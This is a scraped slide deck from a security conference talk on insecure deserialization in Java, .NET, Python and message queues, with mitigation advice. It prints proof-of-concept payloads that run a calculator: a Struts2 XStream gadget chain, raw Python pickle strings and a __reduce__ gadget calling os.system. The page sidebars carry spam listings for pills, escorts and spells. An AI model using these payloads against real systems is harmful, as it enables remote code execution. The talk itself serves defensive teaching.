SlideShare uma empresa Scribd logo
1 de 101
(DE)SERIAL KILLERS
Dor Tumarkin
Intro to Serialization/Deserialization
Overview
In Code
Real-Life Scenarios
Languages, Frameworks, Exploitation
Java
.NET
Python
PHP?
Go?
Built-in Deserialization Attacks
Conclusions
Best Practices and Mitigation Basics
AGENDA
You’ll probably enjoy this most if you have:
Some familiarity with code
Fundamental exploitation
Chill regarding over-simplifications
The ability to GO FAST, because we gonna
ASSUMPTIONS
AppSec Researcher TL @ Checkmarx (2 yrs)
Formerly a Senior Consultant @ Cisco’s
COE – RT, PT (2.5 yrs)
7 years actively poking s*it until it
explodes
Father of one epic girl and one shaggy
doggo
Verbose AF
Opinions (and naughty words) are my own
and do not reflect my employer’s, obviously
ABOUT ME
DorTumarkin
Dor.Tumarkin@Checkmarx.com
"Serialization is the process of translating data
structures or object state into a format that
can be stored or transmitted and
reconstructed later."
- Wikipedia
INTRO TO SERIALIZATION
Can be divided into 3 types of serialization formats
Language native – specific for a language
INTRO TO SERIALIZATION
Can be divided into 3 types of serialization formats
Language Native – specific for a language
Generic – CSV, JSON, YAML, XML
INTRO TO SERIALIZATION
Can be divided into 3 types of serialization formats
Language Native – specific for a language
Generic – CSV, JSON, YAML, XML
Specialized – Protobuf, MessagePack, CBOR (Out of scope)
INTRO TO DESERIALIZATION
The serialized object can then be transmitted over a
network, stored in a file, written to a DB
Most standard serializers will work with all native
serializable data structures, which can, themselves,
often reference almost any class.
INTRO TO DESERIALIZATION
It’s kind of like making Soup in a Cup
You take a bowl of soup
And you dehydrate it into a powder
Checkmarx is not sponsored by any soup vendors
All rights belong to their respective owners
INTRO TO DESERIALIZATION
The powdered soup can then be stored, or
distributed
Want soup? Just add water!
DESERIALIZATION IN CODE
A basic example of Deserialization
in Java, using XStream, a very
popular XML serializer:
1. int id = 1;
2. String name = "John Doe";
3. String address = "1 Elm St.";
4. String[] items = new String[] {"Alarm Clock", "Baseball Bat"} ;
5. ATestingClass testingObj = new ATestingClass(id, name, address, items);
6. XStream xstream = new XStream();
7. System.out.println(xstream.toXML(testingObj));
DESERIALIZATION IN CODE
The console output is:
<ATestingClass>
<id>1</id>
<name>John Doe</name>
<address>1 Elm St.</address>
<items>
<string>Alarm Clock</string>
<string>Baseball Bat</string>
</items>
</ATestingClass>
This format can be easily transmitted, stored, etc.
DESERIALIZATION IN CODE
This object can then be reconstructed from the XML
XStream produced earlier:
1 ATestingClass newATestingClass =
2 (ATestingClass)xstream.fromXML(serializedATestingClass);
3
4 System.out.println(newATestingClass.getName());
Which would produces the following output:
John Doe
DESERIALIZATION CAVEATS
The most significant thing to
consider here is that a class must
be identical in types between
both source (serialized) and
destination (deserialized) –
otherwise, errors may occur
REAL WORLD USE CASES
APIs – for example, Struts2 Rest API
uses deserialization to convert XMLs to
objects
Saving current application state to a
file/DB
REAL WORLD USE CASES
Server-to-Server distributed workload -
e.g Pickling in Python is often
used to distribute workload
across processes and systems
Many more!
ISN’T SERIALIZATION
AMAZING??
Wait a minute...
Rewind a Bit
REAL WORLD USE CASES
Server-to-Server distributed workload -
e.g Pickling in Python is often
used to distribute workload
across processes and systems
Many more!
The serialized object can then be transmitted over a
network, stored in a file, written to a DB
Most standard serializers will work with all native
serializable data structures, which can, themselves,
often reference
INTRO TO DESERIALIZATION
almost any class.
LANGUAGES,
FRAMEWORKS,
EXPLOITATION
ACKNOWLEDGEMEN
TS
• Marshalling Pickles
• ysoserial
Chris Frohoff
• Friday the 13th JSON Attacks
• ysoserial.netObjectDataProvider
Oleksandr Mirosh
Alvaro Munoz
• Are You My Type? Breaking .NET Through
Serialization
• ysoserial.netTypeConfuseDelegate
James Forshaw
• Disclosing CVE-2017-9805 & Exploit Gadget Man Yue Mo
DESERIALIZATION EXPLOITATION DEMO
DESERIALIZATION EXPLOITATION DEMO
DESERIALIZATION EXPLOITATION DEMO
Struts2 CVE-2017-9805 REST-API-SHOWCASE Demo
DESERIALIZATION EXPLOITATION DEMO
Struts 2
Server
Struts 2
REST API
DESERIALIZATION EXPLOITATION DEMO
ProcessBuilder.start(“cmd”, “/c calc”)
DESERIALIZATION EXPLOITATION DEMO
EXPLOITATION – GO GO GADGET!
This is an example of an
Apache Commons based
gadget chain (more later)
Commons is very popular
Part of Struts2 already
Very difficult to detect with
heuristics
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value
class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource
class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator" />
<next class="java.lang.ProcessBuilder">
<command>
<string>cmd</string>
<string>/c</string>
<string>calc</string>
DESERIALIZATION EXPLOITATION DEMO
Let’s Check
the Server
DESERIALIZATION EXPLOITATION
What just happened…?
The naïve deserializer inside Struts2’s Rest
API (which is, again, XStream) does not
restrict which classes that can be
deserialized by XStream!
And calls the default XStream constructor:
DESERIALIZATION EXPLOITATION
This has since been fixed:
plugins/rest/src/main/java/org/apache/struts2/rest/handler/AllowedClassNames.java
EXPLOITATION – GO GO GADGET!
Gadget Chains are a nickname for
nested, serialized objects
Chains what deserialization does:
Sets instance variables
Instance methods are
automatically invoked
Init HashMap
Attack Payload
EXPLOITATION – STRUTS2 GADGET CALL FLOW
Key
.hashCode()
NativeString
.getStringValue()
CharSequence
.toString()
Base64Data
.toString()
Base64Data
.get()
(CipherInput
Stream)
InputStream
.read()
Cipher
.Update()
Cipher
.chooseFirst
Provider()
Iterative calls
to
Iterator.next()
new ProcessBuilder()
ProcessBuilder.start()
EXPLOITATION – GO GO GADGET!
They can become extremely difficult to design
Must live off the land - use available classes
Must parse
However- don’t always have to complete
deserialization
DESERIALIZATION EXPLOITATION DEMO
Consider the following code:
And the following object (in the same namespace as Order):
.NET GADGETS
.NET GADGETS
Working as intended!
.NET GADGETS
Cool.
But what would JsonConvert.DeserializeObject() do with
this guy?
ysoserial.net/ObjectDataProvider
DESERIALIZATION EXPLOITATION DEMO
(Order)JsonConvert.DeserializeObject()
Press Enter to
Parse Evil JSON
.NET GADGETS
“Safe” deserialization is possible:
Bad
.NET GADGETS
“Safe” deserialization is possible:
Implementation uses the generic notation as the
expected Type, and fails on time
Without it, anything gets deserialized
There are ways to have multiple types, of course
The bigger issue is – usage is vague
Good
.NET GADGETS
What exception was thrown?
Since casting was of the wrong object, an
exception occurred
TOO LATE
UNTYPED DESERIALIZATION EXPLOITATION DEMO
Python Pickle Demo
UNTYPED DESERIALIZATION EXPLOITATION DEMO
(i__main__
Trade
p0
(dp1
S'userID'
p2
S'12345'
p3
sS'broker'
p4
S'John Doe'
p5
sb.
Consider the following Python code:
UNTYPED DESERIALIZATION EXPLOITATION DEMO
Trade object
deserialized; broker
name is:John Doe
Next, consider deserialization:
DESERIALIZATION IN PYTHON
Strictly typed languages would
have an easier time at looking
ahead at classes during
construction
Untyped languages, on the other
hand…
DESERIALIZATION IN PYTHON
cposix
system
p1
((lp2
S'gnome-calculator'
p3
atRp4
.
cnt
system
p1
((lp2
S'calc.exe'
p3
atRp4
.
Windows Sample Linux Sample
UNTYPED DESERIALIZATION EXPLOITATION DEMO
Unpickling
Code
Press Enter to
pickle.loads()
DESERIALIZATION IN PYTHON
Generating a Python gadget for pickles is simple:
__reduce__ provides the Pickle-able form of a method and
args tuple
Basically spring-loaded code injection bombs
class RunCalc(object):
def __reduce__(self):
return (os.system, (["calc.exe"],))
print pickle.dumps(RunGnomeCalc())
DESERIALIZATION IN UNTYPED LANGUAGES
PHP built-in deserialization is
very… specific?
Deserialization only triggers
specific magic methods
(__wakeup, __destruct)
Sets members without
constructor
DESERIALIZATION IN UNTYPED LANGUAGES
PHP’s own limitationsdesign saves it:
Built-in methods are actually “language
constructs”
Not part of any class
Essentially “white-lists” to custom classes
Can still be exploited under certain
conditions for many things, including RCE
…contextually, more-so than Java/.NET
POP QUIZ
How would deserialization in Go look like?
More or less complicated to exploit?
ROOT CAUSE
At this point some common threads are
very noticeable:
Deserialization streamlines object
construction from string/bytes
Dangerous IFF you naïvely deserialize
tainted inputs! Never trust those!
Remote naïve deserialization is super
dangerous, tons of RCE samples
ROOT CAUSE
But in many cases deserialization is
only local or trusted
And there are alternatives in APIs
Not like there are whole technologies
designed to distribute objects via
serialization, right?
EXPLOITING
DISTRIBUTED
SYSTEMS WITH BUILT-
IN DESERIALIZATION
MESSAGE QUEUES
AND
DESERIALIZATION
MESSAGE QUEUES
Message Queues literally distribute
messages via a queue
Agnostic MQs just send strings or bytes
(Rabbit, Kafka), which can be wrapped
with senders and receivers
DESERIALIZATION IN MESSAGE QUEUES
But some allow sending objects!
End-to-End:
Serialize
Publish
Subscribe
Deserialize
So… are end-to-end object MQs
basically an RCE delivery system?
DESERIALIZATION IN MESSAGE QUEUES
Java’s JMS is well documented as vulnerable
Many Java samples available
“Pwning Your Java Messaging” – BH2016, by Matthias Kaiser
public void onMessage(Message message) {
try {
ObjectMessage objectMessage = (ObjectMessage) message;
objectMessage.getObject(); //BOOM
DESERIALIZATION IN MESSAGE QUEUES
Begs the question - what about
.NET?
It has Microsoft Message Queue!
(MSMQ)
Ancient
Still in use though :D
DESERIALIZATION IN MESSAGE QUEUES
MSMQ Server is a
Windows Feature
Uses two object
serialization formatters:
XML
Binary
DESERIALIZATION IN MESSAGE QUEUES
Embarked on some Research™!
The only reference we found to these
formatters in a security context was:
DESERIALIZATION IN MESSAGE QUEUES
DESERIALIZATION IN MESSAGE QUEUES
MSMQ DEMO
MSMQ MSDN
Sample
https://msdn.microsoft.com/en-
us/library/system.messaging.binary
messageformatter(v=vs.110).aspx
MSMQ DEMO
Ripped from ysoserial.net/TypeConfuseDelegateGenerator.cs
MSMQ EXPLOITATION DEMO
Basic MSMQ
Send & Receive
MSMQ EXPLOITATION DEMO
Malicious Message Sent
Press Enter to Receive…
DESERIALIZATION IN MESSAGE QUEUES
MSDN samples being dangerous isn’t
great
But is this enough? Is there
something a little more official?
Maybe it’s just bad because of
brevity?
MSMQ EXPLOITATION DEMO
MSMQ LargeMessageQueue Microsoft Sample Exploit Demo
https://github.com/Microsoft/Windows-classic-samples/tree/master/Samples/Win7Samples
/netds/messagequeuing/LargeMessageQueue
MSMQ EXPLOITATION DEMO
Sample Microsoft application for sending and receiving binary
MSMQ DEMO
Ripped from ysoserial.net/TypeConfuseDelegateGenerator.cs
MSMQ EXPLOITATION DEMO
And Now to Receive…
MSMQ EXPLOITATION DEMO
BinaryMessageFormatter is set:
And as soon as you step over .Body…
MSMQ EXPLOITATION DEMO
Exploit utilizes ysoserial.netTypeConfuseDelegate gadget
as message body to attack .NET 4
https://github.com/Dor-Tumarkin/MSMQ-
BinaryMessageFormatter-Exploit-for-.NET-4.5
Also successfully modified the
ysoserial.netActivitySurrogateSelector gadget to work
with original target version, .NET 3.5
https://github.com/Dor-Tumarkin/MSMQ-
BinaryMessageFormatter-Exploit-for-.NET-3.5
DESERIALIZATION IN MSMQ
MSMQ with
BinaryMessageFormatter
(BMF):
Exploitable by default
Cannot explicitly set types
Intended for remote use
DESERIALIZATION IN MSMQ
In what scenarios is
BinaryMessageFormatter used?
Complex objects
Large messages
High-throughput
Not particularly common in open-source,
though
Observed traces in some middleware
implementations
Also in some workload distribution
code
DESERIALIZATION IN MSMQ
It is recommended in various
places, such as O’REILLY’s
“C# Cookbook” (2015 4th
Edition)
DESERIALIZATION IN MSMQ
Conclusion: DON’T READ BOOKS
Anyway, when confronted with a vulnerable sample:
DESERIALIZATION IN MSMQ
Anyway, when confronted with a vulnerable sample:
DESERIALIZATION IN MSMQ
DESERIALIZATION IN MSMQ
You know who were actually good
sports about it?
O’Reilly!
ADDITIONAL RISKS IN
DESERIALIZATION
84
DESERIALIZATION – OTHER DANGERS
Deserialization errors will
throw exceptions that may
hurt the flow of the
application.
DESERIALIZATION – OTHER DANGERS
In some languages or
implementations, the object is
built from reflection, or with
“default” language constructors
…possibly bypassing any setter
or constructor checks
DESERIALIZATION – OTHER DANGERS
In other words – can’t assume
anything about values and logic!
AN INDUSTRY
PERSPECTIVE
88
DESERIALIZATION – AN
INDUSTRY PERSPECTIVE
Critical vulnerabilities found in:
WebLogic
WebSphere
JBoss
Jenkins
OpenNMS
Struts2
Liferay
Coldfusion
Multiple Cisco products
The list goes on.
DESERIALIZATION – AN
INDUSTRY PERSPECTIVE
Part of OWASP Top 10 2017!
A8 – Insecure Deserialization
It’s technically “A1 – Injection”
in 2013, but got its own
category in 2017, particularly
with all that media buzz
(and industry tears)
DESERIALIZATION – AN
INDUSTRY PERSPECTIVE
Remote Code Execution
“CVSS 10” Vulnerabilities
Complete CIA obliteration
Overwrite/Corrupt Objects
Exceptions, DoS
DESERIALIZATION – AN
INDUSTRY PERSPECTIVE
[Java] Serialization
was a horrible mistake
made in 1997 [1] Oracle is planning on
dropping serialization
support in Java.
This does not matter.
[1]-https://www.infoworld.com/article/3275924/java/oracle-
plans-to-dump-risky-java-serialization.html
MITIGATION:
DO`S AND
DO`SN`TS
93
WRONG WAYS TO MITIGATE
Catch exception from failed deserialization
Too late, possibly irrelevant, you lose.
WRONG WAYS TO MITIGATE
Assert correct type
Obviously too late
You lose again
ACTUAL MITIGATIONS
NEVER DESERIALIZE
UNTRUSTED DATA
In Untyped languages
With Untyped deserializers
Or dangerous types!
Choose a white-list
approach
ADDITIONAL MITIGATION STEPS
TEST your deserializers, even when
using well defined white-lists
TEST to fail before object creation
TEST if your deserializer goes
through setters and ctors!
If it doesn’t, re-implement logic
in deserialization
MITIGATION BY AVERSION
If you’re still paranoid, maybe build
your own data-to-constructor
transformer instead?
Poor performance 
Requires work 
Secure(?) 
CONCLUSIONS
Deserialization is kinda awesome
Too awesome?
Classic automagic!
Deserialization can be deadly
Still a lot of potential areas to explore
Never trust a deserializer – always test it
QUESTIONS?
<java.lang.String>
Thanks!
</java.lang.String>
DorTumarkin
Dor.Tumarkin@Checkmarx.com
github.com/Dor-Tumarkin/

Mais conteúdo relacionado

Semelhante a (De)serial Killers - BSides Las Vegas & AppSec IL 2018

Hack your db before the hackers do
Hack your db before the hackers doHack your db before the hackers do
Hack your db before the hackers do
fangjiafu
 
Black ops of tcp2005 japan
Black ops of tcp2005 japanBlack ops of tcp2005 japan
Black ops of tcp2005 japan
Dan Kaminsky
 
the productive programer: mechanics
the productive programer: mechanicsthe productive programer: mechanics
the productive programer: mechanics
elliando dias
 
Introduction to ida python
Introduction to ida pythonIntroduction to ida python
Introduction to ida python
geeksec80
 
Simplest-Ownage-Human-Observed… - Routers
 Simplest-Ownage-Human-Observed… - Routers Simplest-Ownage-Human-Observed… - Routers
Simplest-Ownage-Human-Observed… - Routers
Logicaltrust pl
 

Semelhante a (De)serial Killers - BSides Las Vegas & AppSec IL 2018 (20)

New and improved hacking oracle from web apps sumit sidharth
New and improved hacking oracle from web apps   sumit sidharthNew and improved hacking oracle from web apps   sumit sidharth
New and improved hacking oracle from web apps sumit sidharth
 
One Click Ownage Ferruh Mavituna (3)
One Click Ownage Ferruh Mavituna (3)One Click Ownage Ferruh Mavituna (3)
One Click Ownage Ferruh Mavituna (3)
 
Hacking 101 for developers
Hacking 101 for developersHacking 101 for developers
Hacking 101 for developers
 
Python fundamentals - basic | WeiYuan
Python fundamentals - basic | WeiYuanPython fundamentals - basic | WeiYuan
Python fundamentals - basic | WeiYuan
 
Hack your db before the hackers do
Hack your db before the hackers doHack your db before the hackers do
Hack your db before the hackers do
 
Interpolique
InterpoliqueInterpolique
Interpolique
 
Black ops of tcp2005 japan
Black ops of tcp2005 japanBlack ops of tcp2005 japan
Black ops of tcp2005 japan
 
All of javascript
All of javascriptAll of javascript
All of javascript
 
Get-Help: An intro to PowerShell and how to Use it for Evil
Get-Help: An intro to PowerShell and how to Use it for EvilGet-Help: An intro to PowerShell and how to Use it for Evil
Get-Help: An intro to PowerShell and how to Use it for Evil
 
the productive programer: mechanics
the productive programer: mechanicsthe productive programer: mechanics
the productive programer: mechanics
 
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
The Dirty Little Secrets They Didn’t Teach You In Pentesting ClassThe Dirty Little Secrets They Didn’t Teach You In Pentesting Class
The Dirty Little Secrets They Didn’t Teach You In Pentesting Class
 
Hacking Oracle From Web Apps 1 9
Hacking Oracle From Web Apps 1 9Hacking Oracle From Web Apps 1 9
Hacking Oracle From Web Apps 1 9
 
Slackware Demystified [SELF 2011]
Slackware Demystified [SELF 2011]Slackware Demystified [SELF 2011]
Slackware Demystified [SELF 2011]
 
Interpolique
InterpoliqueInterpolique
Interpolique
 
Drupal Camp Atlanta 2011 - Drupal Security
Drupal Camp Atlanta 2011 - Drupal SecurityDrupal Camp Atlanta 2011 - Drupal Security
Drupal Camp Atlanta 2011 - Drupal Security
 
55 New Features in Java 7
55 New Features in Java 755 New Features in Java 7
55 New Features in Java 7
 
55j7
55j755j7
55j7
 
DEF CON 27 - TRAVIS PALMER - first try dns cache poisoning with ipv4 and ipv6...
DEF CON 27 - TRAVIS PALMER - first try dns cache poisoning with ipv4 and ipv6...DEF CON 27 - TRAVIS PALMER - first try dns cache poisoning with ipv4 and ipv6...
DEF CON 27 - TRAVIS PALMER - first try dns cache poisoning with ipv4 and ipv6...
 
Introduction to ida python
Introduction to ida pythonIntroduction to ida python
Introduction to ida python
 
Simplest-Ownage-Human-Observed… - Routers
 Simplest-Ownage-Human-Observed… - Routers Simplest-Ownage-Human-Observed… - Routers
Simplest-Ownage-Human-Observed… - Routers
 

Último

%+27788225528 love spells in Colorado Springs Psychic Readings, Attraction sp...
%+27788225528 love spells in Colorado Springs Psychic Readings, Attraction sp...%+27788225528 love spells in Colorado Springs Psychic Readings, Attraction sp...
%+27788225528 love spells in Colorado Springs Psychic Readings, Attraction sp...
masabamasaba
 
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICECHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
9953056974 Low Rate Call Girls In Saket, Delhi NCR
 
+971565801893>>SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHAB...
+971565801893>>SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHAB...+971565801893>>SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHAB...
+971565801893>>SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHAB...
Health
 
TECUNIQUE: Success Stories: IT Service provider
TECUNIQUE: Success Stories: IT Service providerTECUNIQUE: Success Stories: IT Service provider
TECUNIQUE: Success Stories: IT Service provider
mohitmore19
 

Último (20)

%+27788225528 love spells in Colorado Springs Psychic Readings, Attraction sp...
%+27788225528 love spells in Colorado Springs Psychic Readings, Attraction sp...%+27788225528 love spells in Colorado Springs Psychic Readings, Attraction sp...
%+27788225528 love spells in Colorado Springs Psychic Readings, Attraction sp...
 
Announcing Codolex 2.0 from GDK Software
Announcing Codolex 2.0 from GDK SoftwareAnnouncing Codolex 2.0 from GDK Software
Announcing Codolex 2.0 from GDK Software
 
%in Bahrain+277-882-255-28 abortion pills for sale in Bahrain
%in Bahrain+277-882-255-28 abortion pills for sale in Bahrain%in Bahrain+277-882-255-28 abortion pills for sale in Bahrain
%in Bahrain+277-882-255-28 abortion pills for sale in Bahrain
 
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICECHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
CHEAP Call Girls in Pushp Vihar (-DELHI )🔝 9953056974🔝(=)/CALL GIRLS SERVICE
 
+971565801893>>SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHAB...
+971565801893>>SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHAB...+971565801893>>SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHAB...
+971565801893>>SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHAB...
 
%in Harare+277-882-255-28 abortion pills for sale in Harare
%in Harare+277-882-255-28 abortion pills for sale in Harare%in Harare+277-882-255-28 abortion pills for sale in Harare
%in Harare+277-882-255-28 abortion pills for sale in Harare
 
10 Trends Likely to Shape Enterprise Technology in 2024
10 Trends Likely to Shape Enterprise Technology in 202410 Trends Likely to Shape Enterprise Technology in 2024
10 Trends Likely to Shape Enterprise Technology in 2024
 
call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️
call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️
call girls in Vaishali (Ghaziabad) 🔝 >༒8448380779 🔝 genuine Escort Service 🔝✔️✔️
 
VTU technical seminar 8Th Sem on Scikit-learn
VTU technical seminar 8Th Sem on Scikit-learnVTU technical seminar 8Th Sem on Scikit-learn
VTU technical seminar 8Th Sem on Scikit-learn
 
%in ivory park+277-882-255-28 abortion pills for sale in ivory park
%in ivory park+277-882-255-28 abortion pills for sale in ivory park %in ivory park+277-882-255-28 abortion pills for sale in ivory park
%in ivory park+277-882-255-28 abortion pills for sale in ivory park
 
TECUNIQUE: Success Stories: IT Service provider
TECUNIQUE: Success Stories: IT Service providerTECUNIQUE: Success Stories: IT Service provider
TECUNIQUE: Success Stories: IT Service provider
 
OpenChain - The Ramifications of ISO/IEC 5230 and ISO/IEC 18974 for Legal Pro...
OpenChain - The Ramifications of ISO/IEC 5230 and ISO/IEC 18974 for Legal Pro...OpenChain - The Ramifications of ISO/IEC 5230 and ISO/IEC 18974 for Legal Pro...
OpenChain - The Ramifications of ISO/IEC 5230 and ISO/IEC 18974 for Legal Pro...
 
SHRMPro HRMS Software Solutions Presentation
SHRMPro HRMS Software Solutions PresentationSHRMPro HRMS Software Solutions Presentation
SHRMPro HRMS Software Solutions Presentation
 
Unlocking the Future of AI Agents with Large Language Models
Unlocking the Future of AI Agents with Large Language ModelsUnlocking the Future of AI Agents with Large Language Models
Unlocking the Future of AI Agents with Large Language Models
 
Payment Gateway Testing Simplified_ A Step-by-Step Guide for Beginners.pdf
Payment Gateway Testing Simplified_ A Step-by-Step Guide for Beginners.pdfPayment Gateway Testing Simplified_ A Step-by-Step Guide for Beginners.pdf
Payment Gateway Testing Simplified_ A Step-by-Step Guide for Beginners.pdf
 
%in Hazyview+277-882-255-28 abortion pills for sale in Hazyview
%in Hazyview+277-882-255-28 abortion pills for sale in Hazyview%in Hazyview+277-882-255-28 abortion pills for sale in Hazyview
%in Hazyview+277-882-255-28 abortion pills for sale in Hazyview
 
%+27788225528 love spells in Vancouver Psychic Readings, Attraction spells,Br...
%+27788225528 love spells in Vancouver Psychic Readings, Attraction spells,Br...%+27788225528 love spells in Vancouver Psychic Readings, Attraction spells,Br...
%+27788225528 love spells in Vancouver Psychic Readings, Attraction spells,Br...
 
Direct Style Effect Systems - The Print[A] Example - A Comprehension Aid
Direct Style Effect Systems -The Print[A] Example- A Comprehension AidDirect Style Effect Systems -The Print[A] Example- A Comprehension Aid
Direct Style Effect Systems - The Print[A] Example - A Comprehension Aid
 
%in Durban+277-882-255-28 abortion pills for sale in Durban
%in Durban+277-882-255-28 abortion pills for sale in Durban%in Durban+277-882-255-28 abortion pills for sale in Durban
%in Durban+277-882-255-28 abortion pills for sale in Durban
 
The Ultimate Test Automation Guide_ Best Practices and Tips.pdf
The Ultimate Test Automation Guide_ Best Practices and Tips.pdfThe Ultimate Test Automation Guide_ Best Practices and Tips.pdf
The Ultimate Test Automation Guide_ Best Practices and Tips.pdf
 

(De)serial Killers - BSides Las Vegas & AppSec IL 2018

Notas do Editor

  1. I guess you can remove the GIFs if you REALLY feel like it 